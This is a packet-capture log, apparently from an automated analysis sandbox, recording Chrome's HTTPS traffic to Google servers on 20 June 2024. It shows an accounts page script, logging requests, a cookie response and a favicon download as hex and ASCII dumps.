2024-06-20 13:38:34 UTC	1934	IN	Data Raw: 37 36 33 62 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 4a 48 4d 49 6c 7a 78 38 6a 7a 42 76 61 5f 74 30 46 56 79 72 42 67 22 3e 22 75 73 65 20 73 74 72 69 63 74 22 3b 74 68 69 73 2e 64 65 66 61 75 6c 74 5f 41 63 63 6f 75 6e 74 73 44 6f 6d 61 69 6e 63 6f 6f 6b 69 65 73 43 68 65 63 6b 63 6f 6e 6e 65 63 74 69 6f 6e 4a 73 3d 74 68 69 73 2e 64 65 66 61 75 6c 74 5f 41 63 63 6f 75 6e 74 73 44 6f 6d 61 69 6e 63 6f 6f 6b 69 65 73 43 68 65 63 6b 63 6f 6e 6e 65 63 74 69 6f 6e 4a 73 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 74 72 79 7b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f Data Ascii: 763b<html><head><script nonce="JHMIlzx8jzBva_t0FVyrBg">"use strict";this.default_AccountsDomaincookiesCheckconnectionJs=this.default_AccountsDomaincookiesCheckconnectionJs\|\|{};(function(_){var window=this;try{_._F_toggles_initialize=function(a){(typeo
2024-06-20 13:38:34 UTC	1934	IN	Data Raw: 63 29 7b 72 65 74 75 72 6e 20 62 5b 63 2e 66 69 6e 64 28 66 75 6e 63 74 69 6f 6e 28 64 29 7b 72 65 74 75 72 6e 20 64 20 69 6e 20 62 7d 29 5d 7c 7c 22 22 7d 7d 2c 70 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 0a 66 61 28 29 3b 69 66 28 61 3d 3d 3d 22 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 22 29 7b 69 66 28 6a 61 28 29 29 69 66 28 28 61 3d 2f 72 76 3a 20 2a 28 5b 5c 64 5c 2e 5d 2a 29 2f 2e 65 78 65 63 28 62 29 29 26 26 61 5b 31 5d 29 62 3d 61 5b 31 5d 3b 65 6c 73 65 7b 61 3d 22 22 3b 76 61 72 20 63 3d 2f 4d 53 49 45 20 2b 28 5b 5c 64 5c 2e 5d 2b 29 2f 2e 65 78 65 63 28 62 29 3b 69 66 28 63 26 26 63 5b 31 5d 29 69 66 28 62 3d 2f 54 72 69 64 65 6e 74 5c 2f 28 5c 64 2e 5c 64 29 2f 2e 65 78 65 63 28 62 29 2c 63 5b 31 5d 3d 3d 22 37 Data Ascii: c){return b[c.find(function(d){return d in b})]\|\|""}},pa=function(a){var b=fa();if(a==="Internet Explorer"){if(ja())if((a=/rv: ([\d\.])/.exec(b))&&a[1])b=a[1];else{a="";var c=/MSIE +([\d\.]+)/.exec(b);if(c&&c[1])if(b=/Trident\/(\d.\d)/.exec(b),c[1]=="7
2024-06-20 13:38:34 UTC	1934	IN	Data Raw: 7d 2c 42 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 45 72 72 6f 72 28 22 69 6e 74 33 32 22 29 3b 61 2e 5f 5f 63 6c 6f 73 75 72 65 5f 5f 65 72 72 6f 72 5f 5f 63 6f 6e 74 65 78 74 5f 5f 39 38 34 33 38 32 7c 7c 28 61 2e 5f 5f 63 6c 6f 73 75 72 65 5f 5f 65 72 72 6f 72 5f 5f 63 6f 6e 74 65 78 74 5f 5f 39 38 34 33 38 32 3d 7b 7d 29 3b 61 2e 5f 5f 63 6c 6f 73 75 72 65 5f 5f 65 72 72 6f 72 5f 5f 63 6f 6e 74 65 78 74 5f 5f 39 38 34 33 38 32 2e 73 65 76 65 72 69 74 79 3d 22 77 61 72 6e 69 6e 67 22 3b 72 65 74 75 72 6e 20 61 7d 2c 44 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 0a 62 2c 63 29 7b 61 3d 3d 6e 75 6c 6c 26 26 28 61 3d 43 61 29 3b 43 61 3d 76 6f 69 64 20 30 3b 69 66 28 61 3d 3d 6e 75 6c 6c 29 7b 76 61 72 20 64 3d 39 36 3b 63 3f 28 61 3d 5b 63 5d Data Ascii: },Ba=function(){var a=Error("int32");a.__closure__error__context__984382\|\|(a.__closure__error__context__984382={});a.__closure__error__context__984382.severity="warning";return a},Da=function(a,b,c){a==null&&(a=Ca);Ca=void 0;if(a==null){var d=96;c?(a=[c]
2024-06-20 13:38:34 UTC	1934	IN	Data Raw: 30 3b 61 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 29 3b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 61 2e 6c 65 6e 67 74 68 3b 68 2b 2b 29 61 5b 68 5d 3d 4a 61 28 61 5b 68 5d 2c 62 2c 63 2c 64 2c 65 29 3b 63 26 26 63 28 66 2c 61 29 3b 72 65 74 75 72 6e 20 61 7d 2c 4c 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 58 3d 3d 3d 4b 61 3f 61 2e 74 6f 4a 53 4f 4e 28 29 3a 48 61 28 61 29 7d 2c 4f 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 76 61 72 20 64 3d 4d 61 3f 76 6f 69 64 20 30 3a 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 65 61 3b 76 61 72 20 65 3d 4e 61 28 63 3f 61 2e 43 3a 62 29 3b 61 3d 62 2e 6c 65 6e 67 74 68 3b 69 66 28 21 61 29 72 65 74 75 72 6e 20 62 3b 76 61 72 20 66 3b 69 Data Ascii: 0;a=Array.prototype.slice.call(a);for(var h=0;h<a.length;h++)a[h]=Ja(a[h],b,c,d,e);c&&c(f,a);return a},La=function(a){return a.X===Ka?a.toJSON():Ha(a)},Oa=function(a,b,c){var d=Ma?void 0:a.constructor.ea;var e=Na(c?a.C:b);a=b.length;if(!a)return b;var f;i
2024-06-20 13:38:34 UTC	1934	IN	Data Raw: 20 55 69 6e 74 38 43 6c 61 6d 70 65 64 41 72 72 61 79 20 49 6e 74 31 36 41 72 72 61 79 20 55 69 6e 74 31 36 41 72 72 61 79 20 49 6e 74 33 32 41 72 72 61 79 20 55 69 6e 74 33 32 41 72 72 61 79 20 46 6c 6f 61 74 33 32 41 72 72 61 79 20 46 6c 6f 61 74 36 34 41 72 72 61 79 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 63 3d 30 3b 63 3c 62 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 7b 76 61 72 20 64 3d 53 61 5b 62 5b 63 5d 5d 3b 74 79 70 65 6f 66 20 64 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 79 70 65 6f 66 20 64 2e 70 72 6f 74 6f 74 79 70 65 5b 61 5d 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 44 28 64 2e 70 72 6f 74 6f 74 79 70 65 2c 61 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e Data Ascii: Uint8ClampedArray Int16Array Uint16Array Int32Array Uint32Array Float32Array Float64Array".split(" "),c=0;c<b.length;c++){var d=Sa[b[c]];typeof d==="function"&&typeof d.prototype[a]!="function"&&D(d.prototype,a,{configurable:!0,writable:!0,value:function
2024-06-20 13:38:34 UTC	1934	IN	Data Raw: 6b 29 7b 6b 3d 46 28 6b 29 3b 66 6f 72 28 76 61 72 20 6c 3b 21 28 6c 3d 6b 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6c 3d 6c 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6c 5b 30 5d 2c 6c 5b 31 5d 29 7d 7d 3b 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6b 2c 6c 29 7b 69 66 28 21 63 28 6b 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 68 22 29 3b 64 28 6b 29 3b 69 66 28 21 47 28 6b 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 69 60 22 2b 6b 29 3b 6b 5b 66 5d 5b 74 68 69 73 2e 67 5d 3d 6c 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 67 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 72 65 74 75 72 6e 20 63 28 6b 29 26 26 47 28 6b 2c 66 29 3f 6b 5b 66 5d 5b 74 68 69 73 2e 67 5d 3a 76 6f Data Ascii: k){k=F(k);for(var l;!(l=k.next()).done;)l=l.value,this.set(l[0],l[1])}};g.prototype.set=function(k,l){if(!c(k))throw Error("h");d(k);if(!G(k,f))throw Error("i`"+k);k[f][this.g]=l;return this};g.prototype.get=function(k){return c(k)&&G(k,f)?k[f][this.g]:vo
2024-06-20 13:38:34 UTC	1934	IN	Data Raw: 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 0a 6d 2e 76 61 6c 75 65 2c 67 2e 63 61 6c 6c 28 6b 2c 6d 5b 31 5d 2c 6d 5b 30 5d 2c 74 68 69 73 29 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 63 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 74 72 69 65 73 3b 76 61 72 20 64 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 6b 29 7b 76 61 72 20 6c 3d 6b 26 26 74 79 70 65 6f 66 20 6b 3b 6c 3d 3d 22 6f 62 6a 65 63 74 22 7c 7c 6c 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 62 2e 68 61 73 28 6b 29 3f 6c 3d 62 2e 67 65 74 28 6b 29 3a 28 6c 3d 22 22 2b 20 2b 2b 68 2c 62 2e 73 65 74 28 6b 2c 6c 29 29 3a 6c 3d 22 70 5f 22 2b 6b 3b 76 61 72 20 6d 3d 67 5b 30 5d 5b 6c 5d 3b 69 66 28 6d 26 26 47 28 67 5b 30 5d 2c 6c 29 29 66 6f Data Ascii: !(m=l.next()).done;)m=m.value,g.call(k,m[1],m[0],this)};c.prototype[Symbol.iterator]=c.prototype.entries;var d=function(g,k){var l=k&&typeof k;l=="object"\|\|l=="function"?b.has(k)?l=b.get(k):(l=""+ ++h,b.set(k,l)):l="p_"+k;var m=g[0][l];if(m&&G(g[0],l))fo
2024-06-20 13:38:34 UTC	1934	IN	Data Raw: 66 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 62 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 74 79 70 65 6f 66 20 66 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 7b 62 3d 66 2e 63 61 6c 6c 28 62 29 3b 66 6f 72 28 76 61 72 20 68 3d 30 3b 21 28 66 3d 62 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 65 2e 70 75 73 68 28 63 2e 63 61 6c 6c 28 64 2c 66 2e 76 61 6c 75 65 2c 68 2b 2b 29 29 7d 65 6c 73 65 20 66 6f 72 28 66 3d 62 2e 6c 65 6e 67 74 68 2c 68 3d 30 3b 68 3c 66 3b 68 2b 2b 29 65 2e 70 75 73 68 28 63 2e 63 61 6c 6c 28 64 2c 62 5b 68 5d 2c 68 29 29 3b 72 65 74 75 72 6e 20 65 7d 7d 29 3b 76 61 72 20 62 62 3d 62 62 7c 7c 7b 7d 2c 74 3d 74 68 69 73 7c Data Ascii: f=typeof Symbol!="undefined"&&Symbol.iterator&&b[Symbol.iterator];if(typeof f=="function"){b=f.call(b);for(var h=0;!(f=b.next()).done;)e.push(c.call(d,f.value,h++))}else for(f=b.length,h=0;h<f;h++)e.push(c.call(d,b[h],h));return e}});var bb=bb\|\|{},t=this\|
2024-06-20 13:38:34 UTC	1934	IN	Data Raw: 74 75 72 6e 2d 31 7d 2c 6d 62 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 66 6f 72 45 61 63 68 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 66 6f 72 45 61 63 68 2e 63 61 6c 6c 28 61 2c 62 2c 63 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 66 6f 72 28 76 61 72 20 64 3d 61 2e 6c 65 6e 67 74 68 2c 65 3d 74 79 70 65 6f 66 20 61 3d 3d 3d 22 73 74 72 69 6e 67 22 3f 61 2e 73 70 6c 69 74 28 22 22 29 3a 61 2c 66 3d 30 3b 66 3c 64 3b 66 2b 2b 29 66 20 69 6e 20 65 26 26 62 2e 63 61 6c 6c 28 63 2c 65 5b 66 5d 2c 66 2c 61 29 7d 3b 76 61 72 20 63 61 3d 22 63 6f 6e 73 74 72 75 63 74 6f 72 20 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 20 69 73 50 72 6f 74 6f 74 79 70 65 4f 66 20 70 72 6f 70 65 72 74 Data Ascii: turn-1},mb=Array.prototype.forEach?function(a,b,c){Array.prototype.forEach.call(a,b,c)}:function(a,b,c){for(var d=a.length,e=typeof a==="string"?a.split(""):a,f=0;f<d;f++)f in e&&b.call(c,e[f],f,a)};var ca="constructor hasOwnProperty isPrototypeOf propert
2024-06-20 13:38:34 UTC	1934	IN	Data Raw: 74 75 72 6e 20 62 7d 2c 74 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 5b 5d 3b 69 66 28 61 61 28 62 2c 61 29 3e 3d 30 29 63 2e 70 75 73 68 28 22 5b 2e 2e 2e 63 69 72 63 75 6c 61 72 20 72 65 66 65 72 65 6e 63 65 2e 2e 2e 5d 22 29 3b 65 6c 73 65 20 69 66 28 61 26 26 62 2e 6c 65 6e 67 74 68 3c 35 30 29 7b 63 2e 70 75 73 68 28 70 62 28 61 29 2b 22 28 22 29 3b 66 6f 72 28 76 61 72 20 64 3d 61 2e 61 72 67 75 6d 65 6e 74 73 2c 65 3d 30 3b 64 26 26 65 3c 64 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 7b 65 3e 30 26 26 63 2e 70 75 73 68 28 22 2c 20 22 29 3b 76 61 72 20 66 3d 64 5b 65 5d 3b 73 77 69 74 63 68 28 74 79 70 65 6f 66 20 66 29 7b 63 61 73 65 20 22 6f 62 6a 65 63 74 22 3a 66 3d 66 3f 22 6f 62 6a 65 63 74 22 3a 22 6e 75 6c 6c 22 3b 62 72 65 Data Ascii: turn b},tb=function(a,b){var c=[];if(aa(b,a)>=0)c.push("[...circular reference...]");else if(a&&b.length<50){c.push(pb(a)+"(");for(var d=a.arguments,e=0;d&&e<d.length;e++){e>0&&c.push(", ");var f=d[e];switch(typeof f){case "object":f=f?"object":"null";bre

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49780	142.250.186.110	443	6436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 13:38:35 UTC	549	OUT	OPTIONS /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: x-goog-authuser Origin: https://accounts.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 13:38:36 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web,authorization,origin,x-goog-authuser Content-Type: text/plain; charset=UTF-8 Date: Thu, 20 Jun 2024 13:38:35 GMT Server: Playlog Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49788	142.250.186.110	443	6436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 13:38:36 UTC	1140	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 522 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCI/KzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw== Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 13:38:36 UTC	522	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 32 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 31 38 38 39 30 37 31 33 37 34 34 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"21",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1718890713744",null,null,null
2024-06-20 13:38:36 UTC	925	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=515=KSgULNmzjL8qyIbDCe-Yco28o8Cf-muWTuSJmoxKg_t4muh_3JDxUpyGFiwldkc-6j3Hm1hRjM3N0eBeyXFf4G241JJl-Ut4D6gwkxUYS6HBZ6HLfikpmMd_p-_QZUzUMiY_ELsN6PrvpXRbIQAuqQ6BkdtluR2v4nPdIau23qQ; expires=Fri, 20-Dec-2024 13:38:36 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Thu, 20 Jun 2024 13:38:36 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Thu, 20 Jun 2024 13:38:36 GMT Connection: close Transfer-Encoding: chunked
2024-06-20 13:38:36 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-06-20 13:38:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49753	142.250.184.228	443	6436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 13:38:36 UTC	1033	OUT	GET /favicon.ico HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCI/KzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw== Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 13:38:37 UTC	705	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 5430 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Thu, 20 Jun 2024 13:17:05 GMT Expires: Fri, 28 Jun 2024 13:17:05 GMT Cache-Control: public, max-age=691200 Last-Modified: Tue, 22 Oct 2019 18:30:00 GMT Content-Type: image/x-icon Vary: Accept-Encoding Age: 1292 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-06-20 13:38:37 UTC	685	IN	Data Raw: 00 00 01 00 02 00 10 10 00 00 01 00 20 00 68 04 00 00 26 00 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 8e 04 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 30 fd fd fd 96 fd fd fd d8 fd fd fd f9 fd fd fd f9 fd fd fd d7 fd fd fd 94 fe fe fe 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd 99 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 95 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd c1 ff ff ff ff fa fd f9 ff b4 d9 a7 ff 76 ba 5d ff 58 ab 3a ff 58 aa 3a ff 72 b8 59 ff ac d5 9d ff f8 fb f6 ff ff Data Ascii: h& ( 0.v]X:X:rY
2024-06-20 13:38:37 UTC	1390	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d8 fd fd fd 99 ff ff ff ff 92 cf fb ff 37 52 ec ff 38 46 ea ff d0 d4 fa ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 96 fe fe fe 32 ff ff ff ff f9 f9 fe ff 56 62 ed ff 35 43 ea ff 3b 49 eb ff 95 9c f4 ff cf d2 fa ff d1 d4 fa ff 96 9d f4 ff 52 5e ed ff e1 e3 fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 30 00 00 00 00 fd fd fd 9d ff ff ff ff e8 ea fd ff 58 63 ee ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 6c 76 f0 ff ff ff ff ff ff ff ff ff fd fd fd 98 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd c3 ff ff ff ff f9 f9 fe ff a5 ac f6 ff 5d 69 ee ff 3c 4a Data Ascii: 7R8F2Vb5C;IR^0Xc5C5C5C5C5C5Clv]i<J
2024-06-20 13:38:37 UTC	1390	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff fd fd fd d0 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fd fd fd 8b ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff b1 d8 a3 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 60 a5 35 ff ca 8e 3e ff f9 c1 9f ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 87 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 25 fd fd fd fb ff ff ff ff ff ff ff ff ff ff ff ff c2 e0 b7 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 6e b6 54 ff 9f ce 8d ff b7 da aa ff b8 db ab ff a5 d2 95 ff 7b bc 64 ff 54 a8 35 ff 53 a8 34 ff 77 a0 37 ff e3 89 41 ff f4 85 42 ff f4 85 42 ff Data Ascii: S4S4S4S4S4S4S4S4S4S4S4S4S4S4`5>%S4S4S4S4S4S4nT{dT5S4w7ABB
2024-06-20 13:38:37 UTC	1390	IN	Data Raw: ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff fb d5 bf ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd ea fd fd fd cb ff ff ff ff ff ff ff ff ff ff ff ff 46 cd fc ff 05 bc fb ff 05 bc fb ff 05 bc fb ff 21 ae f9 ff fb fb ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd c8 fd fd fd 9c ff ff ff ff ff ff ff ff ff ff ff ff 86 df fd ff 05 bc fb ff 05 bc fb ff 15 93 f5 ff 34 49 eb ff b3 b8 f7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: BBBBBBF!4I
